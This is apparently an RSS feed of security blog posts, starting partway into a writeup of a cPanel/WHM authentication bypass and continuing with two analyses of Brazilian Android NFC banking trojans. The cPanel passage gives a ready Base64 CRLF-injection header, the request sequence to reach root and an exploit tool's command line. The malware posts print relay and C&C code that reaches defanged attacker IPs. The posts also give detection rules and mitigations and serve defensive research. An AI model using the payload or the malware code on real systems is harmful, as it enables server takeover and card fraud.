gatekeeper. As long as that flag is set, cPanel knows this session has not proven its identity.</p><h3>Stage 2: CRLF Injection via Basic Auth</h3><p>Here is where it gets interesting. cPanel supports Basic Authentication for API and UI access. When you send an Authorization: Basic ... header, cpsrvd decodes the credentials and stores them in the session cache. But the parser is naive: it splits on newlines and treats each line as a key-value pair.</p><p>The exploit sends a Base64-encoded payload that decodes to:</p><pre>root:x<br>successful_internal_auth_with_timestamp=9999999999<br>user=root<br>tfa_verified=1<br>hasroot=1</pre><p>Encoded:</p><pre>Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x</pre><p>Because the parser splits on \r\n, it interprets each injected line as a legitimate session property. These values are written <strong>nested</strong> inside the session object at first but they are written.</p><p>The request looks like this:</p><pre>GET / HTTP/1.1<br>Host: target:2087<br>Authorization: Basic &lt;payload&gt;<br>Cookie: whostmgrsession=:QSJN_sFdKZtCi2o_</pre><p>The server responds with a 302 Found and leaks a fresh cpsess security token in the Location header:</p><pre>Location: /cpsess0228251236/scripts2/listaccts</pre><h3>Stage 3: Cache Poisoning via do_token_denied</h3><p>This is the clever part. cPanel uses URI-prefixed security tokens for CSRF protection. Almost every request must include a token like /cpsess1234567890/scripts2/listaccts. If the token is missing or incorrect, cpsrvd calls do_token_denied.</p><p>Inside do_token_denied, the code reads the raw session cache file, does a partial parse, and writes the result back to disk. The critical behavior is that this rewrite path promotes <strong>nested injected properties to top-level JSON keys</strong>.</p><p>We intentionally trigger it by making a request <strong>without</strong> the security token:</p><pre>GET /scripts2/listaccts HTTP/1.1<br>Host: target:2087<br>Cookie: whostmgrsession=:QSJN_sFdKZtCi2o_</pre><p>The response is a 401 Token Denied, but behind the scenes the cache file has been rewritten:</p><pre>{<br>  &quot;tfa_verified&quot;:&quot;1&quot;,<br>  &quot;user&quot;:&quot;root&quot;,<br>  &quot;hasroot&quot;:&quot;1&quot;,<br>  &quot;successful_internal_auth_with_timestamp&quot;:&quot;1777462149&quot;,<br>  &quot;cp_security_token&quot;:&quot;/cpsess0228251236&quot;,<br>  &quot;external_validation_token&quot;:&quot;ss27XQjbY11gmCDs&quot;,<br>  &quot;token_denied&quot;:&quot;1&quot;,<br>  &quot;pass&quot;:&quot;x&quot;,<br>  ...<br>}</pre><p>Notice the difference:</p><ul><li>hasroot is now 1</li><li>tfa_verified is now 1</li><li>successful_internal_auth_with_timestamp is now a <strong>top-level</strong> key</li><li>needs_auth is gone</li></ul><p>The session object now looks exactly like one that successfully passed through the normal login flow.</p><h3>Stage 4: Bypassing Password Re-Validation</h3><p>You might think: “Great, the session cache is poisoned, but surely the server still checks the password on every request?”</p><p>It does. And that is where the second weakness lives.</p><p>After handle_auth finishes, handle_one_connection calls docheckpass_whostmgrd on every WHM request:</p><pre>my $authtype = $server_obj-&gt;auth-&gt;get_auth_type || &#39;&#39;;<br>my $document = $server_obj-&gt;request-&gt;get_document;<br>my $user     = $server_obj-&gt;auth-&gt;get_user;<br>my $pass     = $server_obj-&gt;auth-&gt;get_pass;<br>...<br>docheckpass_whostmgrd(&#39;user&#39; =&gt; $user, &#39;pass&#39; =&gt; $pass, ...);</pre><p>By default, docheckpass_whostmgrd runs Cpanel::CheckPass::UNIX::checkpassword($pass, $shadow_entry) against /etc/shadow. Our forged pass value (x) would fail, and we would be bounced.</p><p>Except:</p><pre>sub docheckpass_whostmgrd {<br>    my (%OPTS) = @_;<br>    ...<br>    if ($successful_external_auth_with_timestamp or $successful_internal_auth_with_timestamp) {<br>        $authorized = _check_external_internal_auth_from_docheckpass(%OPTS);<br>    }<br>    ...<br>}</pre><p>The $successful_internal_auth_with_timestamp variable is a <strong>global</strong> that handle_auth lifts directly from the session cache:</p><pre>elsif (not $SESSION_ref-&gt;{&#39;needs_auth&#39;}) {<br>    if ($SESSION_ref-&gt;{&#39;successful_internal_auth_with_timestamp&#39;}) {<br>        $successful_internal_auth_with_timestamp =<br>            $SESSION_ref-&gt;{&#39;successful_internal_auth_with_timestamp&#39;};<br>    }<br>}</pre><p>And _check_external_internal_auth_from_docheckpass ends in:</p><pre>sub check_authok_user {<br>    my (%AUTHOPTS) = @_;<br>    ...<br>    if ($AUTHOPTS{&#39;authable_user&#39;}{&#39;successful_external_auth_with_timestamp&#39;}<br>        or $AUTHOPTS{&#39;authable_user&#39;}{&#39;successful_internal_auth_with_timestamp&#39;})<br>    {<br>        return $Cpanel::Server::AUTH_OK, 0;   # &lt;-- /etc/shadow never consulted<br>    }<br>    elsif (Cpanel::CheckPass::UNIX::checkpassword(<br>            $AUTHOPTS{&#39;password&#39;},<br>            $AUTHOPTS{&#39;authable_user&#39;}{&#39;encrypted_pass&#39;}))<br>    {<br>        ...<br>    }<br>}</pre><p>If either timestamp is set, password validation is <strong>skipped entirely</strong>, and AUTH_OK is returned unconditionally. Because our poisoned cache has successful_internal_auth_with_timestamp=9999999999, every subsequent request sees an already-authenticated session. No password check. No MFA prompt. Just root.</p><h3>The Exploit:</h3><p>To make this practical, I wrote a Python tool that automates the entire chain from a single CLI invocation.</p><p><strong>Repository:</strong> <a href="https://github.com/debugactiveprocess/cPanel-WHM-AuthBypass-Session-Checker">github.com/debugactiveprocess/cPanel-WHM-AuthBypass-Session-Checker</a></p><pre>python3 check_session.py --target https://target:2087</pre><p>With password change:</p><pre>python3 check_session.py --target https://target:2087 --password &quot;NewRootPass123!&quot;</pre><h3>Detection &amp; Hunting</h3><h3>Network Indicators</h3><p>Look for these patterns in your edge logs:</p><ol><li><strong>POST to </strong><strong>/login/?login_only=1</strong> with user=root and an incorrect password, immediately followed by:</li><li><strong>GET to </strong><strong>/</strong> with an Authorization: Basic header containing the characteristic Base64 blob.</li><li><strong>GET to </strong><strong>/scripts2/listaccts</strong> (or any WHM script) <strong>without</strong> a cpsess token, returning 401 Token Denied.</li><li>Subsequent requests to /cpsessXXXXX/... from the same source IP with the same whostmgrsession cookie.</li></ol><h3>Host Indicators</h3><p>On the cPanel server, inspect /var/cpanel/session_cache/ for session files containing:</p><pre>&quot;successful_internal_auth_with_timestamp&quot;:&quot;9999999999&quot;</pre><p>Or sessions where hasroot=1 and tfa_verified=1 but the pass field is literally &quot;x&quot;.</p><h3>Splunk / Sigma Rule Snippet</h3><pre>title: cPanel WHM CVE-2026-41940 Exploitation Attempt<br>detection:<br>  selection:<br>    - cs-uri-stem|contains: &#39;/login/&#39;<br>      cs-uri-query|contains: &#39;login_only=1&#39;<br>    - cs-uri-stem|contains: &#39;/scripts2/listaccts&#39;<br>      sc-status: 401<br>      cs-cookie|contains: &#39;whostmgrsession&#39;<br>  condition: selection</pre><h3>Mitigation</h3><ol><li><strong>Patch immediately.</strong> cPanel released updates for all supported tiers. If you are running an End-of-Life version, upgrade now.</li><li><strong>Restrict WHM access.</strong> WHM should never be exposed to the open internet. Use IP allowlists, VPNs, or bastion hosts.</li><li><strong>Monitor session cache.</strong> Alert on session files with successful_internal_auth_with_timestamp values that are suspiciously large or uniform (e.g., 9999999999).</li><li><strong>Review access logs.</strong> Look for the request sequence described in the Detection section.</li></ol><h3>Lessons Learned</h3><p>This vulnerability is a textbook example of why <strong>input sanitization</strong> and <strong>defense-in-depth</strong> matter:</p><ul><li><strong>CRLF injection in 2026.</strong> A parsing routine that splits credentials on newlines is a vulnerability class we have known about for decades. Session serialization is a sensitive operation; any injection primitive into that data structure is a critical finding.</li><li><strong>Globals as security state.</strong> Using a global variable ($successful_internal_auth_with_timestamp) as a gatekeeper for password validation is fragile. When that global can be influenced by an attacker-controlled cache file, the trust boundary collapses.</li><li><strong>Error handlers as state machines.</strong> The do_token_denied function was never meant to be a security boundary, but because it rewrote the session cache with attacker-controlled data, it became one.</li></ul><h3>Conclusion</h3><p>CVE-2026–41940 is not just another auth bypass. It is a <strong>one-click root</strong> on one of the most widely deployed hosting platforms on the internet. The exploit is reliable, requires no pre-existing credentials, and leaves minimal forensic artifacts. If you manage cPanel/WHM infrastructure, patch now, restrict access, and audit your session cache. If you are a red teamer or bug bounty hunter, the tool above will help you identify vulnerable targets responsibly.</p><p><strong>Stay sharp. Trust, but verify especially when the parser splits on </strong><strong>\r\n.</strong></p><h3>References</h3><ul><li><a href="https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/">watchTowr Labs — Original Research &amp; Root Cause Analysis</a></li><li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-41940">CVE-2026–41940 — cPanel/WHM Auth Bypass</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fa5d5d45d3a2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Anatomy of Persistent Android NFC Malware in Brazil: How a malicious services achieve 24/7…]]></title>
            <link>https://debugactiveprocess.medium.com/the-anatomy-of-persistent-android-nfc-malware-in-brazil-how-a-malicious-services-achieve-24-7-7fb74624682f?source=rss-e02d10b8090e------2</link>
            <guid isPermaLink="false">https://medium.com/p/7fb74624682f</guid>
            <category><![CDATA[nfc]]></category>
            <category><![CDATA[brasil]]></category>
            <category><![CDATA[fraud-detection]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[android]]></category>
            <dc:creator><![CDATA[Ialle Teixeira]]></dc:creator>
            <pubDate>Mon, 10 Nov 2025 16:01:56 GMT</pubDate>
            <atom:updated>2025-11-10T16:01:56.448Z</atom:updated>
            <content:encoded><![CDATA[<h3>The Anatomy of Persistent Android NFC Malware in Brazil: How a malicious services achieve 24/7 background NFC fraud operation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kD9HXr9gk8CPWMabTsKxgg.jpeg" /></figure><p>In the evolving landscape of Android malware, achieving persistent background execution has become increasingly challenging due to Android’s aggressive battery optimization and background execution limits. However, a recent analysis of the “Autenticação Cartão” banking trojan reveals a sophisticated approach to maintaining 24/7 NFC interception capabilities through the strategic use of foreground services. This article provides a deep technical analysis of the NFCKeepAliveService class and its persistence mechanisms.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eNKmXer17av8VQm1upVtFA.png" /></figure><h3>The Challenge of Android Background Execution</h3><p>Since Android 6.0 (API 23), Google has progressively tightened restrictions on background app execution:</p><ul><li>Doze Mode (API 23): Puts devices into deep sleep, limiting network access</li><li>App Standby (API 23): Restricts apps that haven’t been used recently</li><li>Background Execution Limits (API 26): Severely restricts background services</li><li>App Standby Buckets (API 28): Categorizes apps based on usage patterns</li></ul><p>These restrictions make it extremely difficult for malicious apps to maintain persistent background operation. However, foreground services remain largely exempt from these limitations.</p><p><strong>Technical Analysis</strong>: NFCKeepAliveService Architecture</p><pre>public class NFCKeepAliveService extends Service {<br>    private static final String CHANNEL_ID = &quot;nfc_service_channel&quot;;<br>    private static final int NOTIFICATION_ID = 1;<br>    private static final String TAG = &quot;NFCKeepAliveService&quot;;<br>    <br>    @Override<br>    public void onCreate() {<br>        super.onCreate();<br>        int sdkInt = Build.VERSION.SDK_INT;<br>        <br>        if (sdkInt &gt;= 26) {<br>            createNotificationChannel();<br>            Notification notification = createNotification();<br>            <br>            // Multi-version compatibility for foreground service<br>            if (sdkInt &gt;= 34) {<br>                // Android 14+ (API 34)<br>                x.a(this, NOTIFICATION_ID, notification, 16);<br>            } else if (sdkInt &gt;= 29) {<br>                // Android 10+ (API 29)<br>                w.a(this, NOTIFICATION_ID, notification, 16);<br>            } else {<br>                // Android 8+ (API 26)<br>                startForeground(NOTIFICATION_ID, notification);<br>            }<br>        }<br>    }<br>    <br>    @Override<br>    public int onStartCommand(Intent intent, int flags, int startId) {<br>        return START_STICKY; // Critical for persistence<br>    }<br>}</pre><p>The malware leverages a foreground service to bypass Android’s background restrictions, The service returns START_STICKY (value: 1) in onStartCommand():</p><pre>public int onStartCommand(Intent intent, int flags, int startId) {<br>    return 1; // START_STICKY<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-PdySzJmV-TYpb3iqpp0iw.png" /></figure><p>Technical Impact:</p><ul><li>If the system kills the service due to memory pressure, it automatically restarts</li><li>The service is recreated with a null intent, ensuring continuous operation</li><li>Creates an infinite restart loop: Kill → Restart → Kill → Restart</li></ul><p>The startForeground() call elevates the service to foreground priority:</p><pre>startForeground(NOTIFICATION_ID, notification);</pre><p>The malware creates a seemingly legitimate notification to justify foreground operation:</p><pre>private Notification createNotification() {<br>    String title = &quot;Leitura NFC Ativa&quot;;        // &quot;NFC Reading Active&quot;<br>    String content = &quot;Aguardando cartão...&quot;;   // &quot;Waiting for card...&quot;<br>    <br>    NotificationCompat.Builder builder = new NotificationCompat.Builder(this, CHANNEL_ID)<br>        .setContentTitle(title)<br>        .setContentText(content)<br>        .setSmallIcon(0x108004f)  // System NFC icon<br>        .setOngoing(true)         // Persistent notification<br>        .setSound(null)           // Silent<br>        .setVibrate(null)         // No vibration<br>        .setPriority(NotificationCompat.PRIORITY_LOW); // Low visibility<br>        <br>    return builder.build();<br>}</pre><h4>Multi-Version Android Compatibility (The service implements version-specific optimizations):</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0VXGSJdOzYQ6ISYENrLpQQ.png" /></figure><pre>if (sdkInt &gt;= 34) {<br>    // Android 14+ - Enhanced foreground service types<br>    x.a(this, NOTIFICATION_ID, notification, 16);<br>} else if (sdkInt &gt;= 29) {<br>    // Android 10+ - Foreground service types<br>    w.a(this, NOTIFICATION_ID, notification, 16);<br>} else {<br>    // Android 8+ - Basic foreground service<br>    startForeground(NOTIFICATION_ID, notification);<br>}</pre><h3>24/7 NFC Interception Capability</h3><p>The persistent foreground service architecture enables comprehensive and continuous NFC monitoring that operates independently of user interaction or application state. Upon installation, the service automatically launches during device boot and maintains continuous operation around the clock, functioning seamlessly regardless of whether the host application is active, minimized, or completely closed by the user. This invisible execution model requires no visible user interface or user interaction, allowing the malware to operate in complete stealth mode while maintaining full access to the device’s NFC capabilities.</p><p>The service’s robust design ensures uninterrupted NFC transaction interception through sophisticated recovery mechanisms that guarantee operational continuity. All NFC communications are captured silently without any indication to the user, creating a transparent relay system that processes contactless card transactions in real-time. Should the Android system attempt to terminate the service due to memory pressure or user intervention, the automatic recovery functionality immediately restarts the service, creating an virtually unbreakable cycle of persistent surveillance that transforms the infected device into a permanent NFC interception tool operating continuously in the background.</p><p><strong>What exactly happens to the victim’s device? </strong>The victim’s device becomes a permanent NFC relay, operating continuously without their knowledge.</p><pre>User installs &quot;Autenticação Cartão&quot; app<br>         ↓<br>NFCKeepAliveService starts automatically<br>         ↓<br>Service runs in background 24/7<br>         ↓<br>User approaches NFC card to phone<br>         ↓<br>Service intercepts NFC communication<br>         ↓<br>Relays transaction to remote criminals<br>         ↓<br>Fraudulent transaction completed</pre><h3>Conclusion</h3><p>The NFCKeepAliveService demonstrates how modern Android malware exploits legitimate system features to achieve persistent background operation. By combining foreground service priority, START_STICKY restart behavior, and deceptive notifications, the malware creates a nearly undetectable 24/7 NFC interception capability.</p><p>This analysis highlights the critical need for enhanced detection mechanisms that can identify the misuse of foreground services for malicious purposes. As Android continues to restrict background execution, we can expect malware authors to increasingly rely on these sophisticated persistence techniques.</p><p>The banking trojan’s approach serves as a blueprint for future threats, making it essential for security professionals to understand and prepare defenses against this class of persistent mobile malware.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7fb74624682f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Evolution of NFC-based threats: Deep Dive into a Android Hardware-Level Banking Trojan]]></title>
            <link>https://debugactiveprocess.medium.com/the-evolution-of-nfc-malware-deep-dive-into-a-hardware-level-banking-trojan-713c631e7dde?source=rss-e02d10b8090e------2</link>
            <guid isPermaLink="false">https://medium.com/p/713c631e7dde</guid>
            <category><![CDATA[nfc]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[banking-fraud]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Ialle Teixeira]]></dc:creator>
            <pubDate>Tue, 26 Aug 2025 19:51:59 GMT</pubDate>
            <atom:updated>2025-08-27T12:56:30.295Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yV7_Yn3cxlRH2txOSvCGGg.png" /></figure><p>During our recent threat hunting activities at Swarmy Technology, we discovered what initially appeared to be a simple malware NFC relay malware disguised as a security application called “Proteção Cartões”. However, our deep analysis revealed something far more sinister: a sophisticated, hardware-level NFC manipulation platform that represents a quantum leap in mobile banking fraud capabilities.</p><p>This article presents our complete technical analysis of both versions of this malware, revealing an evolution from basic APDU relay to a comprehensive NFC controller manipulation framework that bypasses all Android security mechanisms.</p><h3>The Foundation: Version 1 Analysis (Initial Discovery and Basic Functionality)</h3><p>The first version we analyzed presented itself as a security application but contained sophisticated NFC relay capabilities. Let’s examine the core implementation:</p><pre>public class CardBankActivity extends AppCompatActivity {<br>    private NfcAdapter nfcAdapter;<br>    private RelayClientIsoDep relayClient;<br>    private String sessionId;<br>    private String sessionPrefix = &quot;Santa_&quot;;<br>    <br>    @Override<br>    protected void onCreate(Bundle savedInstanceState) {<br>        super.onCreate(savedInstanceState);<br>        <br>        // Initialize NFC adapter<br>        this.nfcAdapter = NfcAdapter.getDefaultAdapter(this);<br>        <br>        // Generate unique session ID<br>        updateHardwareId();<br>        <br>        // Initialize WebSocket relay client<br>        this.relayClient = new RelayClientIsoDep(<br>            &quot;ws://181[.]41[.]200[.]116:1285&quot;, <br>            this.sessionId<br>        );<br>        <br>        setupNFCIntentFilters();<br>    }<br>    <br>    private void updateHardwareId() {<br>        String androidId = Settings.Secure.getString(<br>            this.getContentResolver(), <br>            &quot;android_id&quot;<br>        );<br>        this.sessionId = String.format(&quot;%s%s&quot;, this.sessionPrefix, androidId);<br>    }<br>}</pre><h3>NFC Intent Handling and APDU Relay</h3><p>The malware sets up comprehensive NFC intent filters to capture all types of NFC interactions:</p><pre>private void setupNFCIntentFilters() {<br>    IntentFilter techFilter = new IntentFilter(NfcAdapter.ACTION_TECH_DISCOVERED);<br>    IntentFilter tagFilter = new IntentFilter(NfcAdapter.ACTION_TAG_DISCOVERED);<br>    IntentFilter ndefFilter = new IntentFilter(NfcAdapter.ACTION_NDEF_DISCOVERED);<br>    <br>    // Register for all NFC technologies<br>    String[][] techLists = new String[][] {<br>        new String[] { IsoDep.class.getName() },<br>        new String[] { NfcA.class.getName() },<br>        new String[] { NfcB.class.getName() },<br>        new String[] { NfcF.class.getName() }<br>    };<br>    <br>    PendingIntent pendingIntent = PendingIntent.getActivity(<br>        this, 0, new Intent(this, getClass()), 0<br>    );<br>    <br>    nfcAdapter.enableForegroundDispatch(<br>        this, pendingIntent, <br>        new IntentFilter[]{techFilter, tagFilter, ndefFilter}, <br>        techLists<br>    );<br>}</pre><h3>The Heart of the Relay: APDU Processing</h3><p>The malware demonstrates sophisticated understanding of Android’s NFC architecture by implementing comprehensive intent filtering that captures every possible NFC interaction scenario. By registering for ACTION_TECH_DISCOVERED, ACTION_TAG_DISCOVERED, and ACTION_NDEF_DISCOVERED intents, the application ensures it receives notifications regardless of how the NFC communication is initiated or what type of data is being exchanged. The inclusion of all major NFC technology classes IsoDep for ISO 14443-4 compliant cards (primarily payment cards), NfcA and NfcB for ISO 14443 Type A and B protocols, and NfcF for FeliCa technology, creates a comprehensive net that captures interactions with virtually any contactless card or device. This broad coverage is particularly dangerous because it means the malware can intercept not just payment cards, but also access cards, transit cards, and other NFC-enabled devices that users might not expect to be vulnerable.</p><p>The use of enableForegroundDispatch() is especially concerning from a security perspective, as it gives the malware priority over other NFC-handling applications when the app is in the foreground. This mechanism, originally designed to allow legitimate applications to handle specific NFC interactions, becomes a powerful tool for interception when misused. The malware leverages this to ensure that when a user brings their device close to an NFC card while the malicious app is active, all communication flows through the malware&#39;s handlers rather than legitimate payment applications or the system&#39;s default NFC processing. This foreground dispatch priority, combined with the comprehensive intent filtering, creates an effective &quot;man-in-the-middle&quot; position that allows the malware to transparently intercept, log, and relay all APDU commands between the victim&#39;s card and any remote terminal controlled by the attackers.</p><p>The core functionality lies in the APDU relay mechanism:</p><pre>private void processIsoDepTag(IsoDep isoDep) {<br>    try {<br>        // Connect to the NFC card<br>        isoDep.connect();<br>        isoDep.setTimeout(30000); // 30-second timeout<br>        <br>        // Setup relay client listeners<br>        this.relayClient.setOnConnectedListener(new OnConnectedListener() {<br>            @Override<br>            public void onConnected() {<br>                monitorEvent(&quot;WebSocket connected to C&amp;C server&quot;);<br>                updateUIState(&quot;connected&quot;);<br>            }<br>        });<br>        <br>        this.relayClient.setOnRequestListener(new OnRequestListener() {<br>            @Override<br>            public void onRequest(byte[] apduCmd) {<br>                try {<br>                    // Log incoming APDU command<br>                    String apduCmdHex = bytesToHex(apduCmd);<br>                    monitorEvent(&quot;APDU command received: &quot; + apduCmdHex);<br>                    <br>                    // Check for PIN verification command<br>                    if (apduCmdHex.startsWith(&quot;80A8&quot;)) {<br>                        monitorEvent(&quot;PIN verification detected!&quot;);<br>                        updateUIState(&quot;pin-4-digitos&quot;);<br>                    }<br>                    <br>                    // Relay command to physical card<br>                    byte[] response = isoDep.transceive(apduCmd);<br>                    String responseHex = bytesToHex(response);<br>                    monitorEvent(&quot;Card response: &quot; + responseHex);<br>                    <br>                    // Send response back to criminal terminal<br>                    relayClient.sendResponse(response);<br>                    <br>                } catch (IOException e) {<br>                    monitorEvent(&quot;APDU relay error: &quot; + e.getMessage());<br>                }<br>            }<br>        });<br>        <br>        // Connect to C&amp;C server<br>        this.relayClient.connect();<br>        <br>    } catch (IOException e) {<br>        monitorEvent(&quot;NFC connection failed: &quot; + e.getMessage());<br>    }<br>}</pre><h3>WebSocket Communication Protocol</h3><p>The malware communicates with its C&amp;C server via WebSocket:</p><pre>public class RelayClientIsoDep {<br>    private WebSocket webSocket;<br>    private String serverUrl;<br>    private String sessionId;<br>    <br>    public RelayClientIsoDep(String serverUrl, String sessionId) {<br>        this.serverUrl = serverUrl;<br>        this.sessionId = sessionId;<br>    }<br>    <br>    public void connect() {<br>        OkHttpClient client = new OkHttpClient.Builder()<br>            .connectTimeout(10, TimeUnit.SECONDS)<br>            .build();<br>            <br>        Request request = new Request.Builder()<br>            .url(https://medium.com/serverUrl)<br>            .addHeader(&quot;Session-ID&quot;, sessionId)<br>            .build();<br>            <br>        webSocket = client.newWebSocket(request, new WebSocketListener() {<br>            @Override<br>            public void onOpen(WebSocket webSocket, Response response) {<br>                // Send session registration<br>                JSONObject registration = new JSONObject();<br>                registration.put(&quot;type&quot;, &quot;register&quot;);<br>                registration.put(&quot;session_id&quot;, sessionId);<br>                registration.put(&quot;device_info&quot;, getDeviceInfo());<br>                webSocket.send(registration.toString());<br>            }<br>            <br>            @Override<br>            public void onMessage(WebSocket webSocket, String text) {<br>                try {<br>                    JSONObject message = new JSONObject(text);<br>                    String type = message.getString(&quot;type&quot;);<br>                    <br>                    if (&quot;apdu_command&quot;.equals(type)) {<br>                        String apduHex = message.getString(&quot;data&quot;);<br>                        byte[] apduBytes = hexToBytes(apduHex);<br>                        <br>                        // Trigger APDU processing<br>                        if (onRequestListener != null) {<br>                            onRequestListener.onRequest(apduBytes);<br>                        }<br>                    }<br>                } catch (JSONException e) {<br>                    // Handle parsing error<br>                }<br>            }<br>        });<br>    }<br>}</pre><h3>The Evolution: Deep Analysis</h3><p>This new version represents a complete architectural overhaul. The malware evolved from a simple relay tool to a sophisticated NFC manipulation platform. Let’s examine the key changes:</p><h4>1. Remote Activation and Control System</h4><pre>public class ModuleManager {<br>    private static final String VERIFY_URL = &quot;http://24[.]152[.]39[.]203/verifyapk&quot;;<br>    private static final String AUTH_TOKEN = &quot;6ee13101ff9618e90296ddcbc32813f7&quot;;<br>    private Map&lt;String, Boolean&gt; enabledModules = new HashMap&lt;&gt;();<br>    <br>    public boolean verifyApkAndProceed() {<br>        try {<br>            JSONObject payload = new JSONObject();<br>            payload.put(&quot;token&quot;, AUTH_TOKEN);<br>            payload.put(&quot;device_id&quot;, getAndroidId());<br>            payload.put(&quot;app_version&quot;, getVersionCode());<br>            payload.put(&quot;device_model&quot;, Build.MODEL);<br>            payload.put(&quot;android_version&quot;, Build.VERSION.RELEASE);<br>            <br>            RequestBody body = RequestBody.create(<br>                MediaType.parse(&quot;application/json&quot;), <br>                payload.toString()<br>            );<br>            <br>            Request request = new Request.Builder()<br>                .url(https://medium.com/VERIFY_URL)<br>                .post(body)<br>                .addHeader(&quot;User-Agent&quot;, &quot;Android-NFC-Client/2.1&quot;)<br>                .build();<br>                <br>            Response response = httpClient.newCall(request).execute();<br>            <br>            if (response.isSuccessful()) {<br>                JSONObject result = new JSONObject(response.body().string());<br>                <br>                if (result.getBoolean(&quot;authorized&quot;)) {<br>                    // Parse module configuration<br>                    JSONObject modules = result.getJSONObject(&quot;modules&quot;);<br>                    enabledModules.put(&quot;nfc_relay&quot;, modules.getBoolean(&quot;nfc_relay&quot;));<br>                    enabledModules.put(&quot;hce_emulation&quot;, modules.getBoolean(&quot;hce_emulation&quot;));<br>                    enabledModules.put(&quot;data_export&quot;, modules.getBoolean(&quot;data_export&quot;));<br>                    enabledModules.put(&quot;replay_mode&quot;, modules.getBoolean(&quot;replay_mode&quot;));<br>                    enabledModules.put(&quot;advanced_logging&quot;, modules.getBoolean(&quot;advanced_logging&quot;));<br>                    <br>                    return true;<br>                }<br>            }<br>            <br>            return false;<br>            <br>        } catch (Exception e) {<br>            // Fail-safe: block operation on error<br>            return false;<br>        }<br>    }<br>    <br>    public boolean isModuleEnabled(String moduleName) {<br>        return enabledModules.getOrDefault(moduleName, false);<br>    }<br>}</pre><p>The remote activation and control system fundamentally changes the risk profile of this malware by introducing unprecedented operational flexibility and stealth capabilities. Unlike traditional malware that operates with fixed functionality, this system allows criminals to selectively enable or disable specific attack modules (nfc_relay, hce_emulation, data_export, replay_mode, advanced_logging) based on real-time operational requirements, target profiles, or threat landscape changes. This modular approach serves multiple strategic purposes: it reduces the attack surface by keeping unused functionality dormant, enables A/B testing of new attack techniques on subset populations, allows for rapid response to security countermeasures by disabling detected modules, and provides plausible deniability by making infected devices appear benign until specifically activated. The fail-safe mechanism that blocks all operations when communication with the C&amp;C server fails demonstrates sophisticated operational security thinking, as it prevents the malware from operating in potentially monitored or honeypot environments where network communications might be intercepted or analyzed by security researchers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iLbryoI2VNrgLgWvpWZMxg.png" /></figure><p>The importPcap() method reveals another sophisticated capability that elevates this malware beyond simple real-time relay attacks to a comprehensive NFC transaction analysis and replay platform. This functionality allows the malware to ingest previously captured NFC communication sessions stored in standard PCAP format, effectively enabling the sharing and reuse of attack data across different devices and criminal operations. The integration with ISO14443Stream for parsing PCAP files demonstrates deep technical knowledge of both network packet analysis and NFC protocol structures, as it requires understanding how NFC APDU commands are encapsulated within network capture formats.</p><pre>   public void share(SessionLog sessionLog,List logItems){<br>       new FileShare(this.mFragment.getActivity()).setPrefix(sessionLog.toString()).setExtension(&quot;.pcapng&quot;).setMimeType(&quot;application/*&quot;).share(new ISO14443Stream().append(logItems));<br>    }<br>}</pre><p>The systematic logging of imported transactions through LogInserter with SessionLog$SessionType.RELAY classification indicates that the malware maintains detailed forensic records of all imported attack data, potentially for later analysis, optimization, or replay operations. This capability transforms individual infected devices into nodes in a larger criminal network where successful attack patterns discovered on one device can be rapidly distributed and replicated across the entire botnet, significantly amplifying the effectiveness and reach of NFC-based fraud operations while reducing the time and effort required to develop new attack techniques.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yXo0atyzWoRBVeoI" /></figure><p>The flowchart illustrates the process from importing a PCAP NFC capture through `importPcap()`, parsing with ISO14443Stream, extracting APDU commands, validating data, and logging transactions via LogInserter. The data is then stored in a SQLite database across related tables, supporting forensic analysis and replay capabilities. This architecture enables comprehensive NFC transaction analysis, sharing, and reuse in criminal operations, emphasizing modularity, security, and detailed record-keeping.</p><h4>Native Library Integration: The Game Changer</h4><p>The most significant evolution is the introduction of libnfcgate.so, a native library that provides direct access to NFC hardware:</p><pre>// Extracted from libnfcgate.so disassembly<br>struct NFCConfig {<br>    uint8_t config_id;<br>    char* config_name;<br>    uint8_t* config_value;<br>    size_t value_length;<br>};<br><br>// 71 NFC controller configuration parameters<br>static struct NFCConfig knownConfigTypes[] = {<br>    {0, &quot;TOTAL_DURATION&quot;, NULL, 0},<br>    {1, &quot;CON_DEVICES_LIMIT&quot;, NULL, 0},<br>    {2, &quot;CON_DISCOVERY_PARAM&quot;, NULL, 0},<br>    {3, &quot;POWER_STATE&quot;, NULL, 0},<br>    {8, &quot;PA_BAIL_OUT&quot;, NULL, 0},<br>    {9, &quot;PA_DEVICES_LIMIT&quot;, NULL, 0},<br>    {16, &quot;PB_AFI&quot;, NULL, 0},<br>    {17, &quot;PB_BAIL_OUT&quot;, NULL, 0},<br>    {18, &quot;PB_ATTRIB_PARAM1&quot;, NULL, 0},<br>    {19, &quot;PB_SENSB_REQ_PARAM&quot;, NULL, 0},<br>    {20, &quot;PB_DEVICES_LIMIT&quot;, NULL, 0},<br>    // ... 61 more configurations<br>    {134, &quot;RF_WLC_STATUS_CONFIG&quot;, NULL, 0}<br>};<br><br>// Direct NFCC access function<br>int setNFCConfig(uint8_t config_id, uint8_t* value, size_t length) {<br>    // Direct hardware manipulation<br>    return nfc_controller_set_config(config_id, value, length);<br>}</pre><figure><img alt="" 